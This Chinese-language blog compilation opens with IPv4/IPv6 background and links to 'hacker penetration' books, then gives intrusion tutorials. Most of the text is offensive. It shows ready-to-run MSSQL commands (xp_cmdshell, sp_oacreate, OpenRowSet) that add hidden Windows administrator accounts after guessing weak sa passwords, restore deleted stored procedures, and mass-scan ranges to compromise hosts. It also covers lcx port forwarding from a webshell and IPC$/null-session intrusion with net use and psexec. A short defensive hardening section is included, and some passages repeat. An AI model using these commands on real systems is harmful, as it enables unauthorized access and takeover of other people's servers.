IPv4,是互联网协议(Internet Protocol,IP)的第四版,也是第一个被广泛使用,构成现今互联网技术的基石的协议。1981年Jon Postel 在RFC791中定义了IP,Ipv4可以运行在各种各样的底层网络上,比如端对端的串行数据链路(PPP协议和SLIP协议) ,卫星链路等等。局域网中最常用的是以太网。
传统的TCP/IP协议基于IPV4属于第二代互联网技术,核心技术属于美国。它的最大问题是网络地址资源有限,从理论上讲,编址1600万个网络、40亿台主机。但采用A、B、C三类编址方式后,可用的网络地址和主机地址的数目大打折扣,以至目前的IP地址已经枯竭。其中北美占有3/4,约30亿个,而人口最多的亚洲只有不到4亿个,中国截止2010年6月IPv4地址数量达到2.5亿,落后于4.2亿网民的需求。虽然用动态IP及 Nat地址转换等技术实现了一些缓冲,但IPV4地址枯竭已经成为不争的事实。在此,专家提出IPV6的互联网技术,也正在推行,但IPV4的使用过度到 IPV6需要很长的一段过渡期。目前中国主要用的就是ip4,在win7中已经有了ipv6的协议不过对于中国的用户们来说可能很久以后才会用到吧。
传统的TCP/IP协议基于电话宽带以及以太网的电器特性而制定的,其分包原则与检验占用了数据包很大的一部分比例造成了传输效率低,现在网络正向着全光纤网络和超高速以太网方向发展,TCP/IP协议不能满足其发展需要。
1983年TCP/IP协议被ARPAnet采用,直至发展到后来的互联网。那时只有几百台计算机互相联网。到1989年联网计算机数量突破10万台,并且同年出现了1.5Mbit/s的骨干网。因为IANA把大片的地址空间分配给了一些公司和研究机构,90年代初就有人担心10年内IP地址空间就会不够用,并由此导致了IPv6 的开发。

IPv6

IPv6是Internet Protocol Version 6的缩写,其中Internet Protocol译为“互联网协议”。IPv6是IETF(互联网工程任务组,Internet Engineering Task Force)设计的用于替代现行版本IP协议(IPv4)的下一代IP协议。
与IPV4相比,IPV6具有以下几个优势:
一、IPv6具有更大的地址空间。IPv4中规定IP地址长度为32,即有2^32-1(符号^表示升幂,下同)个地址;而IPv6中IP地址的长度为128,即有2^128-1个地址。
二、IPv6使用更小的路由表。IPv6的地址分配一开始就遵循聚类(Aggregation)的原则,这使得路由器能在路由表中用一条记录(Entry)表示一片子网,大大减小了路由器中路由表的长度,提高了路由器转发数据包的速度。
三、IPv6增加了增强的组播(Multicast)支持以及对流的支持(Flow Control),这使得网络上的多媒体应用有了长足发展的机会,为服务质量(QoS,Quality of Service)控制提供了良好的网络平台。
四、IPv6加入了对自动配置(Auto Configuration)的支持。这是对DHCP协议的改进和扩展,使得网络(尤其是局域网)的管理更加方便和快捷。
五、IPv6具有更高的安全性。在使用IPv6网络中用户可以对网络层的数据进行加密并对IP报文进行校验,极大的增强了网络的安全性。

一些关于渗透的书籍和文章

都是在网上收集的,如果过期了请提醒我续期
http://115.com/file/dpy49p8b#
黑客渗透笔记完整版.rar

http://115.com/file/d2sb2k48#
精通脚本黑软攻击技术.rar

http://115.com/file/b3aj1mm1#
黑客成长日记.pdf

http://115.com/file/bh0rqfhz#
暗战亮剑++黑客渗透与防御全程实录_.pdf

http://115.com/file/an42ah85#
黑客攻防技术宝典.Web实战篇.zip

http://115.com/file/bh00ukfx#
大中型网络入侵要案直击与防御_12683353.rar

http://115.com/file/be4b0n3a#
网络渗透技术.rar
http://115.com/file/c2bwocf8#
《网络渗透技术》配套资料打包.rar
http://115.com/file/e7hx34y2#
黑客社会工程学攻击档案袋.pdf
http://115.com/file/dpxwemiq#
哈客渗透文章.zip

http://115.com/file/bhfkppym#
t00ls技术文章

各种编辑器漏洞大全

各种编辑器漏洞大全

各种在线编辑器漏洞

无法查看这则摘要。请 点击此处查看博文。

利用mssql弱口令的注入以及防


利用mssql弱口令的注入以及防御(安全)

分类: Windows DB2 MS-SQL 316人阅读 评论(0) 收藏 举报
目录(?)[+]
原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html

第一部分:猜解口令和入侵
 大家都知道1433是mssql数据库的默认端口,也都知道sa是mssql数据库的默认的管理员帐号,这个端口入侵以前讲过许多,网上也有很多这方面的资料,下面我就根据我个人在【新世纪网安】的学习来总结一下

 首先,要想通过1433端口进入载有mssql数据库的主机并取得权限,我们必须要知道它的弱口令。据我所知,国内很多数据库管理员的安全意识是很差的,一个只有几行的弱口令字典不到1秒钟就能猜解出sa口令。

 其次,知道了口令之后,我们要取得管理权限,那么说到提权,目前最常用到的就是扩展存储过程xp_cmdshell和sp_oacreate,sp_oamethod以及xp_regwrite等。其中前两种最为大家所熟悉。下面的表1就简单说明了这两种存储的利用方法。

表1、
 1.1 在查询分析器里利用 xp_cmdshell 添加windows管理帐号

  e.g:   exec master..xp_cmdshell 'net user 123 /add'
    exec master..xp_cmdshell 'net localgroup administrators 123 /add'
 添加完成后,可以为对方开3389终端服务,这样我们就能用刚才建立的帐号进行登录了,就像操作我们自己的电脑一样来操作对方的电脑。怎么样,是不是很容易?

 1.2 在 查询分析器里利用 sp_oacreate,sp_oamethod 添加windows管理帐号
  e.g:
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user 123 /add';--
    按<F5>执行,然后
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrators 123 /add';--
   
  同样的,我们就添加了一个系统管理员级别的用户了。
 
  当然我们还可以用沙盒模式进行帐号的添加,这里我操作一下
 
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 /add")');
 
 
  检查一下结果,看到了,我们添加上了。
 

 但是,随着管理员安全意识和技术水平的提高,以上我们的操作往往会失败,原来,是管理员出于安全考虑,删掉了xp_cmdshell,sp_oacreate,sp_oamethod等存储过程。遇到这种情况,我们就只能对这些存储过程先进行恢复了。下面的表2,简单几句话,就能恢复大多数粗心管理所删掉的扩展存储了。

表2、恢复xpshell和oashell
 drop procedure sp_addextendedproc
 exec sp_dropextendedproc 'xp_cmdshell'(这里也可以写成 drop procedure xm_cmdshell)
 drop procedure sp_oacreate
 drop procedure sp_oamethod
 dbcc addextendedproc ("sp_oacreate","odsole70.dll") 【尝试利用数据库自带的dbcc(一致性检查命令)来恢复】
 dbcc addextendedproc ("sp_oamethod","odsole70.dll")
 dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

 <试着在自己本机安装一个mssql数据库,删掉前面提到的扩展存储,再用上面的语句试着恢复,会发生什么?>


第二部分:批量猜解和注入
 第一部分我们了解了原理,那么,可不可以将上面的原理实现在程序代码中呢,答案是可以的。下面我用一款全自动工具来进行扫描和注入,大家看一下是 多么的容易。由于扫描的ip段比较大,我是提前开始扫的,快扫到ip段结束的时候暂停,然后开始做动画的,主要是为了节省时间。

 好,我们继续。。。大家可以快进一下。这个段设置的比较大。

 好了,我们不等了。做这个教程的目的不是教大家扫描抓鸡。呵呵。

 绿色字体出现的时候,就是已经猜解出弱口令的

 已经开始猜解口令和注入了,这里的serv-u存放着我们的文件,我们发送指令让对方主机来下载我们的文件。怎么样,是不是很轻松容易?这里绿色字体出现的时候,就是已经猜解出弱口令的。猜到之后即刻进行注入,所以显得很快。

 看,就这么会儿的时间,就下载和上线了这么多。可想而知我们国内的管理员安全意识是多么的薄弱。

 扫描的过程中做做广告,希望大家多来【新世纪网安】学习,一起提高我们的安全技术水平,技术无止境。


 这个时间我们先看下第三部分,如何防御弱口令利用注入。
第三部分:防御:
 针对以上所述,我们可以采取以下方法进行防御:
 搜索xplog70.dll,xpweb70.dll,odsole70.dll,找到后  改名为 xplog70.dll.bck等。

 这样以后需要用到的时候把后面的 .bck 去掉就可以了。
 当然要想更安全,还需要把沙盒模式要用到的xp_regread,xp_regwrite等存储删掉才可以。如果确认你用不倒ias.mdb等Access数据库文件,也把他们改名或者删掉。这样就算你的sa用户是空口令,黑客也要费一翻脑筋了。“最彻底的要数给sa用户降权的做法了”。


sa用户降权的做法:

新建windows用户,隶属于users组或guests组,在服务中找到sqlserver服务器,停止它,设置其登录权限,默认为localsystem,改成你新增的用户,然后重新运行sqlserver即可将SA权限改成普通权限,防止LCX转发提权。


提权教程之lcx转发拿下内网服务器 :

提权思路:利用webshell执行lcx,实现端口发。
首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
然后在肉鸡上运行 lcx.exe -slave 你的IP 51 肉机IP 1433
意思是 把肉机的3389端口 转发到 自己的IP 51端口上

黑客技术:ipc$命令详解基础篇

黑客技术:ipc$命令详解基础篇

2011-08-31 15:45 佚名 网易 我要评论(0) 字号:T | T
一键收藏,随时查看,分享好友!
ipc$所使用的端口是什么?ipc管道在hack攻击中的意义又是什么?本文通过介绍黑客技术中IPC$命令的基础知识来为你解答此类问题。
黑客技术——ipc$命令所使用的端口
首先我们来了解一些基础知识:
1 SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。
有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
对于win2000客户端(发起端)来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。
对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
2 如果禁止NBT,那么只有445端口开放。
我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。
黑客技术——ipc管道在黑客攻击中的意义
ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得手。通过ipc管道,我们可以远程调 用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送文件这一方面,ipc管道已经给了入侵者莫大 的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然,我们也不能忽视 权限在ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道 这把双刃剑将显示出它狰狞的一面。
黑客技术——ipc$连接失败的常见原因
以下是一些常见的导致ipc$连接失败的原因:
1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在 Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;
2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;
3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;
5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开139,445端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于'无法更新密码'这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
黑客技术——复制文件失败的原因
有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?
1 对方未开启共享文件夹
这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而 且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要 认为能建立ipc$连接就一定有共享文件夹存在。
2 向默认共享复制失败
这类错误也是大家经常犯的,主要有两个小方面:
1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件,一旦 对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,并不能说明默认共享一定存在。ipc$共享与默认共享是两码 事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;
2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认 共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此 类错误的发生)
要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。
3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录;
3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;
注意:
1 不要认为administrator就一定具有管理员权限,管理员名称是可以改的
2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图6,管理员为D 盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然不能访问D盘。不过有意思的是,如果此时 对方又开启了D$的默认共享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。
4被防火墙杀死或在局域网
还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接 失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。
黑客技术——关于at命令和xp对ipc$的限制
本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐 大家用psexec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理员为administrator,密码为 1234,那么输入下面的命令:
psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立ipc连接,则-u -p这两个参数不需要,psexec.exe将自动拷贝文件到远程机器并运行。
本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时候,大部分操作都很难成功。我在这 里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是Guest,因此 大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议你尽量避开ipc管 道。
黑客技术——如何打开目标的IPC$共享以及其他共享
目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,cmd重定向等,然后在shell下执行:
net share ipc$
开放目标的ipc$共享;
net share ipc$ /del
关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用:
net share xinxin=c:\
这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在shell下才能实现的。
黑客技术——一些需要shell才能完成的命令
看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:
1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;
2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;
3 运行/关闭远程主机的服务,需要在shell下完成;
4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。
ipc$连接在实际操作过程中会出现各种各样的问题,本文就为大家总结这么多内容,如有遗漏欢迎指正。

445端口入侵详解

445端口入侵详解

分类: 安全 3064人阅读 评论(0) 收藏 举报
445端口入侵详解
   关于“445端口入侵”的内容
445端口入侵详解
本站搜索更多关于“445端口入侵”的内容
445端口入侵,在这之前我们首先要看的还是445端口为什么回成为入侵的端口呢?
445端口就是IPC 服务的默认端口
                                                            ipc$
一 摘要
二 什么是 ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$ 所使用的端口
六 ipc 管道在 hack 攻击中的意义
七 ipc$ 连接失败的常见原因
八 复制文件失败的原因
九 关于 at 命令和 xp 对 ipc$ 的限制
十 如何打开目标的 IPC$ 共享以及其他共享
十一 一些需要 shell 才能完成的命令
十二 入侵中可能会用到的命令
十三 对比过去和现今的 ipc$ 入侵
十四 如何防范 ipc$ 入侵
十五 ipc$ 入侵问答精选
十六 结束的话
一 摘要
网 上关于 ipc$入侵的文章可谓多如牛毛,攻击步骤甚至已经成为了固化的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。不过话虽这样说,我认为这些文 章讲解的并不详细,一些内容甚至是错误的,以致对 ipc$的提问几乎占了各大安全论坛讨论区的半壁江山,而且这些问题常常都是重复的,严重影响了论坛质量和学习效率,因此我总结了这篇文章,希望能把 ipc$这部分东西尽量说清楚。
注意:本文所讨论的各种情况均默认发生在 win NT/2000 环境下, win98 将不在此次讨论之列。
二 什么是 ipc$
IPC$(Internet Process Connection) 是共享 " 命名管道 "的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对 远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能,它有一个特点,即在同一时间内,两个 IP 之间只允许建立一个连接。NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$ …… ) 和系统目录winnt 或 windows(admin$) 共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
平时我们总能听到有人在说 ipc$ 漏洞, ipc$ 漏洞,其实 ipc$ 并不是一个真正意义上的漏洞 , 我想之所以有人这么说,一定是指微软自己安置的那个‘后门':空会话( Null session )。那么什么是空会话呢?
三 什么是空会话
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在 Windows NT 4.0 中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1 )会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;
2 )服务器产生一个随机的 64 位数(实现挑战)传送回客户;
3 )客户取得这个由服务器产生的 64 位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);
4 )服务器接受响应后发送给本地安全验证( LSA ), LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应 传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终 止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?
空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密 码),但根据 WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因 此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符 SID (它标识了用户和所属组),对于一个空会话, LSA 提供的令牌的SID 是 S- 1-5-7 ,这就是空会话的 SID ,用户名是: ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在 SAM 数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?
四 空会话可以做什么
对 于 NT ,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问 everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对 2000 作用更小,因为在 Windows 2000和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。
从这些我们可以看到,这种非信任 会话并没有多大的用处,但从一次完整的 ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的 导出用户列表大大增加了猜解的成功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一 些具体命令:
1 首先,我们先建立一个空会话(当然,这需要目标开放 ipc$ )
命令: net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格, net 与 use 中间有一个空格, use 后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令: net view \\ip
解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。
在 \\*.*.*.* 的共享资源
资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看远程主机的当前时间
命令: net time \\ip
解释:用此命令可以得到一个远程主机的当前时间。
4 得到远程主机的 NetBIOS 用户名列表(需要打开自己的 NBT )
命令: nbtstat -A ip
用此命令可以得到一个远程主机的 NetBIOS 用户名列表,返回如下结果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37
以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立 IPC$ 连接的操作会在 Event Log 中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看 ipc$ 所使用的端口是什么?
五 ipc$ 所使用的端口
首先我们来了解一些基础知识:
1 SMBServer Message Block) Windows 协议族,用于文件打印共享的服务;
2 NBTNETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口实现基于 TCP/IP 协议的 NETBIOS 网络互联。
3 在 WindowsNT 中 SMB 基于 NBT 实现,即使用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基于 NBT 实现,还可以直接通过 445 端口实现。
有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
对于 win2000 客户端(发起端)来说:
1 如果在允许 NBT 的情况下连接服务器时,客户端会同时尝试访问 139 和 445 端口,如果 445 端口有响应,那么就发送 RST包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止 NBT 的情况下连接服务器时,那么客户端只会尝试访问 445 端口,如果 445 端口无响应,那么会话失败。
对于 win2000 服务器端来说:
1 如果允许 NBT, 那么 UDP 端口 137, 138, TCP 端口 139, 445 将开放( LISTENING );
2 如果禁止 NBT ,那么只有 445 端口开放。
我们建立的 ipc$ 会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听 139 或 445 端口, ipc$ 会话是无法建立的。
六 ipc 管道在 hack 攻击中的意义
ipc 管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放 ipc 管道的主机似乎更容易得手。通过 ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送文件这一方 面,ipc 管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的 ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在 ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么 ipc管道这把双刃剑将显示出它狰狞的一面。
七 ipc$ 连接失败的常见原因
以下是一些常见的导致 ipc$ 连接失败的原因:
1 IPC 连接是 Windows NT 及以上系统中特有的功能,由于其需要用到 Windows NT 中很多 DLL 函数,所以不能在Windows 9.x/Me 系统中运行,也就是说只有 nt/2000/xp 才可以相互建立 ipc$ 连接, 98/me 是不能建立ipc$ 连接的;
2 如果想成功的建立一个 ipc$ 连接,就需要响应方开启 ipc$ 共享,即使是空连接也是这样,如果响应方关闭了 ipc$ 共享,将不能建立连接;
3 连接发起方未启动 Lanmanworkstation 服务(显示名为: Workstation ):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动 Lanmanserver 服务(显示名为: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起 ipc$ 连接;
5 响应方未启动 NetLogon ,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开 139 , 445 端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于 ' 无法更新密码 ' 这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号 "" 即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么 ipc$ 连接将会自动断开,需要重新建立连接。
另外 , 你也可以根据返回的错误号分析原因:
错误号 5 ,拒绝访问:很可能你使用的用户不是管理员权限的;
错误号 51 , Windows 无法找到网络路径:网络有问题;
错误号 53 ,找不到网络路径: ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67 ,找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$ ;
错误号 1219 ,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$ ,请删除再连;
错误号 1326 ,未知的用户名或错误密码:原因很明显了;
错误号 1792 ,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动;
错误号 2242 ,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
八 复制文件失败的原因
有些朋友虽然成功的建立了 ipc$ 连接,但在 copy 时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?
1 对方未开启共享文件夹
这类错误出现的最多,占到 50% 以上。许多朋友在 ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用 netview \\IP 这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立 ipc$ 连接就一定有共享文件夹存在。
2 向默认共享复制失败
这类错误也是大家经常犯的,主要有两个小方面:
1 )错误的认为能建立 ipc$ 连接的主机就一定开启了默认共享,因而在建立完连接之后马上向 c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。 ipc$ 连接成功只能说明对方打开了 ipc$共享,并不能说明默认共享一定存在。 ipc$ 共享与默认共享是 两码 事, ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;
2 )由于 net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带 $),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫 描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)
要点:请大家一定区分 ipc 共享,默认共享,普通共享这三者的区别: ipc 共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。
3 用户权限不够,包括四种情形:
1 )空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
2 )向默认共享复制时,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 组成员才可以,在 Win2000 Server 版本 Server Operatros 组也可以访问到这些共享目录;
3 )向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
4 )对方可以通过防火墙或安全软件的设置,禁止外部访问共享;
注意:
1 不要认为 administrator 就一定具有管理员权限,管理员名称是可以改的
